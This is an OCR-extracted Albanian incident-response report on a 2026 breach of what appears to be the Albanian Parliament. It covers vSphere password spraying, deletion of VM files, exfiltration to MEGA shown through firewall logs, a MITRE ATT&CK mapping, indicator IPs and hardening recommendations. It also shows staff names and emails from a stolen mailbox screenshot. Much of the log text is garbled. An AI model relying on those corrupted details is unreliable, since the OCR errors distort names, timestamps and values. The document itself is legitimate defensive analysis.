pérdoruesit g**#xFxEHIE Jhe [FxFXERE - Aktiviteti fillon n€ 09/03/2026 ora 04:18:25 AM dhe

vazhdon deri né 09:12:57 PM, duke treguar tentativa t€ vazhdueshme autentikimi té
pasuksesshém.
NE vijim, né 09:42:56 PM t€ s€ njéjtes daté, evidentohet njé login i suksesshém (200 OK) me

pérdoruesin A ******* ng ySphere.

Ky model sjelljeje €shté konsistent me njé password spraying / brute-force attack, i cili
pérfundon me komprometim t€ kredencialeve dhe akses t€ suksesshém.

Time

Figura 17 Tentativa pér login té suksesshém

Nga analiza e log-eve konfirmohet aktivitet i vazhdueshém autentikimi nga [P 1#**#** |y
shfagen tentativa t€ shumta failed login pér disa pérdorues, pérfshiré K****** g¥¥*¥*¥* dhe

llogari t€ tjera n€ domain ***%*xk*dk,

Log-et tregojné pérgjigje té tipit “Forbidden” dhe response code 400, ¢cka konfirmon déshtimin e
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autentikimeve n€ ményré té perséritur brenda nj€ intervali té shkurtér kohor.

4362 44: tomeat-http--71 1d=51d

ditle

e t=hEtD-2d 4=370£5650-e2¢4-450b-37fb-208b16933e12] [
[61; tomcat-http--24 = 300554¢-872b-4b90-b40
A fssfisfs
acat-http—-48 r1ded15e79b-30e2-4401-8ef5-54ee §

Jitlogzerd {\"u

|

i : : : 2

Figura 18 Kuvendi-Pu tentativa té shumta failed

Momenti kur tentativa password spraying / brute-force rezulton e suksesshme evidentohet né

09/03/2026 ora 09:42:56 PM, ku regjistrohet login i suksesshém (response code 200) pér
pérdomesin Cl*********@******* nga IP 1*******

Figura 19 Pas tentativave failed - tentativa e suksesshme

Ndryshimi i password-it pér g *#**#**¥ g w*#3k43%% oyidentohet n€ 10/03/2026 ora 08:16:13 AM,
sipas log-ut ssoAdminServer.log.

Figura 20 Ndryshimi i password té userit né vsphere

Mg pas, konfirmohet akses i suksesshém né vSphere né 10/03/2026 ora 09:06:54 AM nga IP
[k duke treguar se sulmuesi ka ruajtur aksesin edhe pas ndryshimit t€ kredencialeve.

Figura 21 Aksesi i suksesshém né vsphere
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Evidentohet se mé 10/03/2026, nga hosti i brendshém 1******%* (tune] tjetér), jané kryer tentativa
té vazhdueshme failed login n€ vSphere né intervalin 10:11:24 AM — 10:54:44 AM, kryesisht me

pérdoruesin ##* ¥k k() sk

Kéto tentativa déshtojné (response code 401), ¢cka pérkon me faktin qé password-i i pérdoruesit
q¥FFEERRRERRREsht€ ndryshuar mé herét né 08:16:13 AM.

T Time

Figura 22 Tentativa té tjera failed

N¢ lidhje me fshirjen manuale t€ file-ve t€ VM (p.sh. *.vimdk, .vmx), evidentohet aktivitet i
drejtpérdrejté né datastore t&€ ESXi.

Momenti i paré€ i1 identifikuar &shté mé 10/03/2026 ora 10:40:19 AM, ku fillon fshirja e file-ve.
NE hostin **¥#¥3*%%% g5htg thirrur API:
vim.FileManager.deleteFile, e cila pérdoret pér fshirje direkte té file-ve né datastore.

Ky veprim konfirmon se fshirja €shté kryer né ményré manuale pérmes VMware API, duke treguar
ndérhyrje té€ géllimshme né infrastrukturé.

Figura 23 Ky event shénon momentin e paré té identifikuar té fshirjes sé file-ve né datastore.
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> 3n
10:50:39.729 AM

.PerfornanceManager . querystats::5

2812b3d-435f- 5d5-e4f8-FRae-9bf 6-eefbiT043c0)/State/R

26fb-1c3e-cald2z90ces? (52f

i.VpxaService:v

rvice.getChanges

B7(5276a6d5-2878-Fae-9

vped-profileclog  sourcet bdbbddbbd

> 3026
10:45:20727 AM

&= * 23vpxd IV tHOST SyncHoS ILRD ocessvmChangesTine/total 137

Task: :session[
43356~ TBac-8B83-3588~21eF )

9e70-553055a50555: :CatalogSynd
SyncManager : catalogSyncHanage!

C: s vpnapi, VoxaService: vixa _ voxapi VoxaService. getChanges

etefile

3 CatalogChange: ;5
t.catalogSyncHanager . querycatal

cle-cald2290¢ f6a6ds-eafa-10ae-3bf6-eefb1a7043c0)

ofighanager .query
. ImageConf igManager .

ourcatype = bdbbddbbd

Figura 24 vijimi i aktivitetit né té njéjtin host

Pérsa i pérket marrjes sé t€ dhénave, duke u bazuar n€ publikimet e béra né grupin e telegram,
dyshohet t&€ jeté pérdorur platforma MEGA, platformé kjo qé &sht€ pérdorur né sulme té
méparshme nga aktorét keqdashés.

|5 Inbox

DD 8] fom sutjeat o

13 @ MetinSanno@pariamentsl  RE: Doresim dokumentaconi.  “Mets Fanko" «Merta Fanko... JA/203
[J 53 @ Muhamet.Ukpersj@pariament... dok Anets Nreu™ <Anets Nereu,

O3 @ MuhsmetUpersi@parament... vet Aneta Ndrew” <AnetaNorew

]

jhamet.Ukperal Spariament. . dok Aneta Norey” <AnetaNoreu.. 34

@ Muhamet.UkperajSpariament... perl ‘Aneta Ndrey’ <Aneta.Nereu.

Muhamet.Ukperaj@parlament... pio Anets Norew <Anets Néeu
Muhamet Ukperaj@parlament... proc Aneta Nareu” «Aneta Nerew
Maninela Skendera) Spariame. Administrata” «Stat@pari
Kiea Koma@psriament al Nyottim pér seance plenare da.. “Deputetet” <Deputetes®

Mesits Fanke @

Davezim dokumentaciont

] bl aghikimin per pasaporte d

]
.

u

0

.

§ Komiioniligie@paiamental  Njottim per mbledhjen e Komi. Uit Manja” <UlsiMar
0

.

@ MentaFanko@paramental  FW: Programit insttuconal A

.

Fanke, . dhe

ErmasKoks@pariamentsl  Masat disiplinore 18 shiust 20

0 g sl

A lstina saku@naamental B verkecs

Nomal Mail View  Hex | Propeties | Message Header | MINE | HTML | RTF

Path g
i e e -

From Wiea Koira s KomaB pariament air

T Deputetet” “Administrata”

e “Gene Glonca)”

Bec

Subject Njoftim pér seance plenare date 53,2026, o013 10.00

Attachment(s) | ¢ Urdhes nv, 16, date 332026 ¢ Rendi | dites 53206.pet - imagelZy,

Klea KORRA
Shérbimi | Seancés Plenare

& R Kuvendi i Shaipérisé
[ | Bulevardi Déshmorét e Kombit nr.4, Tirané
\\ ) email:

Figura 25 Té dhénat e nxjerra nga aktorét keqdashés

Nga njé investigim mbi trafikun drejt késaj platforme, éshté evidentuar njé€ trafik nga data 3 Mars
deri mé 9 Mars:

Message : timestamp="2026-03-06T704:38:58+0100" device model

T oo T s - .
log. component="Firewall Rule" log_subtype="Allowed" log_version=1 severity="Information" duration=91 =
I :o.cile section="Local rule” pat_cule id="53" pat.cule.name firule type gw.id request=2

ge.name. request="Default Gateway" app.filtec.policy.id=6 app.name="Mega" app.risk=3 app.technelegy="Client Ser ="File Transf

ether. type="Unknown (©x0000)" in.interface="Portl" out_intecface="Port8" scc mac=""EGGENENEENNE st 0ac m see.ip="

sec.countey="R1" dst ip="66.203.125.13" ="LUX" protocol="TCP" ived=11 bytes_sent=4506
bytes.ceceived=1914 spc trans.ie= " dst.zene="WAN" con _event="Stop” con.id="3393729589"

Figura 26 Trafik i dyshuar exfiltrate
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Message :

timestamp="2026-03-06T711:50:39+0100" QQyi;g_mdgl-_
log_component="HTTP" log_subtype="Allowed” log version=1 severity="Information” fw_rule id="|

device_secial id=

fu.rule_name

t Filtering”

fw_rule_sectign="Local rule" web_policy.id=4 http_category="Personal Network Storage" http_category type="Acceptable" url="https://mega.nz" spc_ip="
dst._ip="31.216.144.5" protocol="TCP" src_port=52574 dst_port=443 3

app_name="Mega" app_is.cloud="TRUE" used_quota="8" src.zone, type=
dstcountry="LUX" app.risk=3 app.category="File Transfer”

Message :

see.ip="
Dxxe:_jgn -

tmestamp= "2026-03-06T11:50:39+0100" device model= i
onent="Firewall Rule" log_subtype="Allowed" log.versiQn=1 severity="Information" duration=73
furule section="Local rule” pat.rule.id="46" pat.cule.name=
guw.nane request="Default Gateway" web.policy.id=4 ips.policy. id=3 a
app.category="File Transfer” ether type="Unknown (€x9000)" in._intecface="Portl"” out interface="Port8" scc mac=
sce.country="R1" dst, ip-”31.216.144.5" dst_country="LUX" ocol="TCP"
="134.9.32.74" 5,[;_;.9_&2_11;22‘%

eixed-msa

£on_id="3615908015" hb_status=1
out. display interface="Port8" log occucrence="1

amclwi.m "Signature” app.is.c

-2213

=3884 domain="mega.nz" http_status="0" con_id=3613592064
dst_zone_type="WAN" dst_zone="WAN" src_country="R1"

il [ ..o B »oc oo oo
e.id=" e =" I ———

sLe.zone=

farule type= request=2
app.name="Mega" app riske ="Client
dst mac-

=52574 dst_port=443 packets.sent=9 packets._received=9
see.zone=" dst_zone type="WAN" dst_zone="WAN" con_event="Stop"
="TRUE" classification="New" qualifier="New" jipn_display_interface="Portl"

Figura 27 Trafik exfiltrate

MITRE ATT&CK — Teknikat e Identifikuara

Bazuar né analizén paraprake t€ incidentit, aktiviteti i aktorit t€¢ kércénimit pérputhet me disa
teknika t€ kornizés MITRE ATT&CK:

Taktikat | Taktikat . . c .. e
(MITRE) D Teknikat Pérshkrimi i Aktivitetit
Initial Valid Sulmuesi ka fituar akses fillestar né rrjet pérmes
T1078 pérdorimit t€ kredencialeve t€ komprometuara VPN t&
Access Accounts o e o s e e
njé pale t€ tret€ qé ofron shérbime pér institucionin.
Lateral Remote Pas her' es né rtj eE, ak‘Fo.rl 1 kercemmult ka [.?e?dorur njé
T1021 . server t€ brendshém si jump host pér t€ 1&vizur drejt
Movement Services . o . N
sistemeve té tjera brenda infrastrukturés.
Ka indikacione pér krijimin e mekanizmave té
. Scheduled . o e o
Persistence | T1053 persistencés pér t€ ruajtur aksesin né sistem edhe pas
Task / Job . .y . )
rinisjes sé sistemeve ose ndérhyrjeve administrative.
Defense Indicator Sulmuesi mund t€ keté kryer manipulim ose fshirje té
Evasion T1070 Removal on log-eve dhe artefakteve t€ sistemit pér té€ reduktuar
Host gjurmét e aktivitetit t€ tij né host.
Komunikimi me infrastrukturén e komandés dhe
Command o c v 1 . N R
Application kontrollit éshté realizuar pérmes protokolleve té
and T1071 . e o s
Layer Protocol | zakonshme té aplikacioneve pér t& maskuar trafikun dhe
Control o e .
pér t€ shmangur detektimin.
Ekzistojné indikacione pér eksfiltrim té mundshém té
. Exfiltration to | té dhénave drejt platformés cloud Mega (Mega.nz)
Exfiltration | T1567.002 Cloud Storage | duke pérdorur shérbime legjitime file-sharing pér
transferimin e t€ dhénave jashté rrjetit t€ institucionit.
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INDIKATORET E KOMPROMITETIT

IP: 107.189.22.170 NL
IP: 87.121.162.182 AL

REKOMANDIME STRATEGJIKE PER FORCIMIN E SIGURISE KIBERNETIKE:

1. Forcimi i mekanizmave té autentikimit dhe menaxhimit té aksesit

e Implementimi i detyrueshém i Multi-Factor Authentication (MFA) pér té€ gjitha akseset né
distancé dhe pér pérdoruesit me privilegje administrative. Aktivizimin e 2FA/MFA
(Multifactor Authentication) né mjetet e authentication OnPrem dhe né Cloud. T&
aplikohen filtra té trafikut né€ rastin e aksesimit n€ distancé té hosteve (punonjésve/palé t&
treta/klienté). Kjo tekniké duhet t€ realizohet né ményré t€ sigurt€ pérmes tuneleve t&
enkriptimit me ané t€ teknikave: 1- IPSEC ose SSL, 2 - Tunelet IPSEC duhet té jené té
konfiguruara me ané t€ formatin IKEv2 dhe minimalisht enkriptimi simetrik t& realizohet
permes algoritmave AES 256 dhe me celsa asimetrik me gjatesi RSA 2048 bit, 3- Nderkohe
akseset nga distanca duhet t€ shogerohen me: a) Analiz€ pér fluktuacionin e trafikut, b)

Authentikimi me 2FA, ¢) Implementimi i arkitekturés zero-trust.

e P&rmirésimi i sistemeve t€ Identity and Access Management (IAM) dhe Privileged Access
Management (PAM). T¢€ projektohet zgjidhja pér menaxhimin e aksesit t&€ pérdoruesve
“Identity Access Management” dhe “Privileged Access Management” pér té kontrolluar

identitetin dhe privilegjet e pérdoruesve né kohé reale sipas parimit “zero-trust”.
2. Menaxhimi dhe kontrolli i aksesit té paléve té treta

e Vendosja e standardeve té detyrueshme té siguris€ pér kompanité dhe partnerét q€ ofrojné

shérbime pér institucionet shtetérore.

e Monitorimi 1 vazhdueshém 1 aktiviteteve t€ aksesit t€ paléve té treta né€ infrastrukturat

institucionale.

o Té aplikohen filtra t€ trafikut n€ rastin e aksesimit n€ distancé t& hosteve (punonjésve/palé

té treta/klienté) si dhe aktivizimin e 2FA/MFA pér kété akses.

3. Rritja e kapaciteteve té monitorimit dhe detektimit té incidenteve. ( pérmirésim dhe

automatizim i proceseve té detektimit )

4. Pérmirésimi i arkitekturés sé sigurisé sé rrjetit (Zero Trust Network Architecture)

e Zbatimi 1 segmentimit t€ avancuar té€ rrjetit pér t€ kufizuar 1€vizjen laterale t&€ mundshme

té sulmuesve.

o Ruritja e kontrollit mbi akseset administrative dhe izolimi i sistemeve kritike.
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9.

10.

11.
12.

o Rishikim i politikave t€ konfiguruara mbi rrjetin

Bllokimi i aksesit publik té¢ Windows Exhange Server On- Prem. Sygjerohet migrimi i
menjéhershém né Microsoft 365 online.

Rishikimi 1 politikave t€ siguris€ pér ruajtjen e fjalékalimeve. Politika e skadimit t&
fjalékalimeve. Fjalékalimet e pérdoruesve duhet t€ skadojné periodikisht, me njé periudhé
maksimale prej 90 ditésh. Gjithashtu, pérdoruesit duhet té detyrohen té€ ndryshojné fjal€kalimin
e tyre n€ hyrjen e paré pas krijimit t€ llogarisé, pér té€ parandaluar pérdorimin e kredencialeve
té pérkohshme.

Dokumentimi i topologjisé€ sé rrjetit. T forcohet arkitektura e rrjetit pérmes segmentimit dhe
mikrosegmentimit logjik dhe fizik duke kufizuar aksesin lateral.

Implementimi i zoné€s DMZ pér serverét WEB. Serverét e fageve web dhe shérbimeve publike
duhet t€ vendosen né€ nj€ zoné té€ izoluar té rrjetit (DMZ — Demilitarized Zone). Kjo ndan qasjet
nga jashté dhe brenda organizatés dhe siguron g€ asnjé server né DMZ té mos keté komunikim
direkt me Domain Controllers.

Rishikimin e t€ gjithé politikave té Active Directory.

Ndryshimet e menjéhershme t€ kredencialeve t&€ pérdorimit té sistemeve dhe platformave né
infrastrukturén IT.

T€ aplikohen politika pér aksesimin remote né Active Directory.

Aplikimin e Tier-ing model né kontekstin e Active Directory, pér kategorizimin e llogarive
té pérdoruesve, pajisjet dhe shérbimet né€ nivele t& ndryshme. Kjo qasje ndihmon né uljen e
sipérfages s€ sulmit dhe izolimin e komprometimeve.

Tier 0 - Identitete dhe sisteme me privilegje maksimale. Kontrollojné AD-n€. Domain
Controllers, Admins e AD-sé&, PKI Servers

Tier 1 - Administrim 1 serveréve dhe aplikacioneve. Serveré aplikacionesh, SQL, Exchange,
File Servers

Tier 2 - Administrim i pajisjeve fundore (end-user). Workstations, laptop€, printeré
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